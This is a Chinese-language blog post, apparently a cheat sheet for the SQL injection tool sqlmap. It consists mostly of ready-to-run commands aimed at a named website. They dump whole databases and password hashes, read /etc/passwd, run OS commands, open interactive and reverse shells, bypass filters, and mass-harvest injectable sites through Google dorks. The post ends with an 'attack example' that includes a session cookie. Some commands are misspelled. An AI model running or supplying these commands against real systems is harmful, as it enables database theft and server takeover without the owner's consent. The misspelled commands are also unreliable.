滲透測試常用工具-sqlmap

基本用法

sqlmap -u "url"

掃描出部分系統信息,如圖:
在這裏插入圖片描述

sqlmp -u "url" --current-user

爆出當前用戶名

在這裏插入圖片描述

sqlmap -u "url" --currnet-db

當前數據庫
在這裏插入圖片描述

sqlmap -u "url" --tables -D "db_name"

根據這個庫猜表名

在這裏插入圖片描述

sqlmap -u "url" --columns -T "tables_name" users -D "db_name" -v 0

根據庫,表猜字段。

在這裏插入圖片描述

sqlmap -u "url" --dump -C "columns_name" -T "tables_name" -D "db_name" -v 0

查記錄

在這裏插入圖片描述

信息獲取

列出其他數據庫

sqlmap -u "url" dbs

在這裏插入圖片描述

枚舉數據庫用戶角色

sqlmap -u "url" -roles

在這裏插入圖片描述

sqlmap -u "url" --dump-all

脫褲

目錄都在根目錄下的./sqlmap下
在這裏插入圖片描述

PS

SQLMAP的用法記錄

***基本步驟

sqlmap -u “http://doscn.org/news?id=1” --current-user #獲取當前用戶名稱
sqlmap -u “http://doscn.org/news?id=1” --current-db #獲取當前數據庫名稱
sqlmap -u “http://doscn.org/news?id=1” --tables -D “db_name” #列表名
sqlmap -u “http://doscn.org/news?id=1” --columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://doscn.org/news?id=1” --dump -C “column_name” -T “table_name” -D
“db_name” -v 0 #獲取字段內容
信息獲取 sqlmap -u “http://doscn.org/news?id=1” --smart --level 3 --users # smart 智能 level 執行測試等級
sqlmap -u “http://doscn.org/news?id=1” --dbms “Mysql” --users # dbms 指定數據庫類型
sqlmap -u “http://doscn.org/news?id=1” --users #列數據庫用戶
sqlmap -u “http://doscn.org/news?id=1” --dbs#列數據庫
sqlmap -u “http://doscn.org/news?id=1” --passwords #數據庫用戶密碼
sqlmap -u “http://doscn.org/news?id=1” --passwords-U root -v 0 #列出指定用戶數據庫密碼
sqlmap -u “http://doscn.org/news?id=1” --dump -C “password,user,id” -T “tablename” -D “db_name” --start 1 --stop 20 #列出指定字段,列出 20 條
sqlmap -u “http://doscn.org/news?id=1” --dump-all -v 0 #列出所有數據庫所有表
sqlmap -u “http://doscn.org/news?id=1” --privileges #查看權限
sqlmap -u “http://doscn.org/news?id=1” --privileges -U root #查看指定用戶權限
sqlmap -u “http://doscn.org/news?id=1” --is-dba -v 1 #是否是數據庫管理員
sqlmap -u “http://doscn.org/news?id=1” --roles #枚舉數據庫用戶角色
sqlmap -u “http://doscn.org/news?id=1” --udf-inject #導入用戶自定義函數(獲取系統權限!)
sqlmap -u “http://doscn.org/news?id=1” --dump-all --exclude-sysdbs -v 0 #列出當前庫所有表
sqlmap -u “http://doscn.org/news?id=1” --union-cols #union 查詢表記錄
sqlmap -u “http://doscn.org/news?id=1” --cookie “COOKIE_VALUE” #cookie 注入
sqlmap -u “http://doscn.org/news?id=1” -b #獲取 banner 信息
sqlmap -u “http://doscn.org/news?id=1” --data “id=3” #post 注入
sqlmap -u “http://doscn.org/news?id=1” -v 1 -f #指紋判別數據庫類型
sqlmap -u “http://doscn.org/news?id=1” --proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u “http://doscn.org/news?id=1”–string"STRING_ON_TRUE_PAGE" #指定關鍵詞
sqlmap -u “http://doscn.org/news?id=1” --sql-shell #執行指定 sql 命令
sqlmap -u “http://doscn.org/news?id=1” --file /etc/passwd
sqlmap -u “http://doscn.org/news?id=1” --os-cmd=whoami #執行系統命令

sqlmap -u “http://doscn.org/news?id=1” --os-shell #系統交互 shell
sqlmap -u “http://doscn.org/news?id=1” --os-pwn #反彈 shell
sqlmap -u “http://doscn.org/news?id=1” --reg-read #讀取 win 系統註冊表
sqlmap -u “http://doscn.org/news?id=1” --dbs-o “sqlmap.log” #保存進度
sqlmap -u “http://doscn.org/news?id=1” --dbs -o “sqlmap.log” --resume #恢復已保存進度
sqlmap -u “http://doscn.org/news?id=1” --msf-path=/opt/metasploit3/msf2 --os-pwn 反彈 shell 需
metasploit 路徑
sqlmap -u “http://doscn.org/news?id=1” --tamper “base64encode.py” 加載腳本(可利用繞過注入限制)
sqlmap -g “google 語法” --dump-all --batch #google 搜索注入點自動 跑出所有字段
攻擊實例:
sqlmap -u “http://doscn.org/news?id=1&Submit=Submit” --cookie=“PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406” --string=“Surname” --dbms=mysql --users --password

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章